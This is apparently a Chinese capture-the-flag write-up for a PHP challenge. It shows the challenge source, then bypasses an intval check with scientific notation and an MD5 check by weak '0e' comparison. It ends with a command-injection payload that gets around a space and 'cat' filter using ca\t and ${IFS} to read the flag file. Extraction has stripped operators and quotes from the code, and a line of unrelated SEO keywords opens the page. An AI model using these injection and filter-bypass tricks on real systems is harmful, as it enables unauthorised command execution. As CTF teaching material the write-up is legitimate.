国外优秀网站建设,网站开发网页页面跳转,易语言编程软件做网站,中国建设网官方网站建筑工程税率一开始说header出问题了
就先dirsaerch扫一遍
发现robot.txt 访问一下 去看看#xff0c;好好好#xff0c;肯定不是得 他一开始说header有问题#xff0c;不妨抓包看看#xff0c;果然有东西 访问看看#xff0c;乱码修复一下#xff0c;在之前的博客到过 img src…
一开始说header出问题了
就先dirsaerch扫一遍
发现robot.txt 访问一下 去看看好好好肯定不是得 他一开始说header有问题不妨抓包看看果然有东西 访问看看乱码修复一下在之前的博客到过 img src/img.jpg
?php
header(Content-type:text/html;charsetutf-8);
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET[num])){$num $_GET[num];if(intval($num) 2020 intval($num 1) 2021){echo 我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好./br;}else{die(金钱解决不了穷人的本质问题);}
}else{die(去非洲吧);
}
//level 2
if (isset($_GET[md5])){$md5$_GET[md5];if ($md5md5($md5))echo 想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴./br;elsedie(我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲);
}else{die(去非洲吧);
}
//get flag
if (isset($_GET[get_flag])){$get_flag $_GET[get_flag];if(!strstr($get_flag, )){$get_flag str_ireplace(cat, wctf2020, $get_flag);echo 想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥./br;system($get_flag);}else{die(快到非洲了);}
}else{die(去非洲吧);
}
?
很明显要绕过三次
先看第一个
要求num小于2020且num1大于2021.
用到intval 绕过 这个函数是强制转换为int类型。 进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 1后会取得12001那么我们成功绕过了。
首先先看一下这个
?php
echo 3e3 ;
?
//结果为3e3
?php
echo 3e3 1;
?
//结果为3001
这是因为在第一个 echo 语句中3e3 被视为字符串因此会直接输出其内容 3e3。而在第二个语句中虽然 3e3 被当作字符串但由于与数字相加PHP 尝试将其转换为数字。在这种情况下它将 3e3 解释为科学记数法表示 3 乘以 10 的 3 次方即 3000然后再加上 1所以结果为 3001。
因此
?php
$a4e3;
echo intval($a);
?
// 4 字符串部分没有转换
?php
$a3e4;
echo intval($a1);
?
//4001
因为是get传参数会自动套上 所以我们传参3e3就是字符串3e3
num3e3 第二个绕过
要求我们上传的$md5md5($md5)注意这里是弱比较
弱类型比较中字符0e123和字符0e456虽然是字符类型但是因为比较不比较数据类型只比较值而值就是科学计数法的表示格式结果都是0所以相等返回true 强类型比较中字符0e123和字符0e456在比较数据类型的时候就被当作字符类型而字符0e123和字符0e456当然不相等所以返回false
PlaintextMD5 Hash0e2159620170e2912424769407768451503085778240e12848383080e7082796918209288187222574051590e11371269050e2916599223234052605147450848770e8070971100e3180936391644855664531807868950e7300833520e870635875304277170259950255928
那么只要MD5前后都是0e开头就行了 MD5绕过参考的这位师傅浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_哈希连接 不比较-CSDN博客 第三个绕过
就是过滤了空格和cat, wctf2020
好在都可以被替换
代替cat: more、less、head、tail、sort、ca\t
代替空格$IFS、${IFS}、$IFS$1、$IFS$9
先ls看看 直接上
?num3e3md50e215962017get_flagca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag 结束了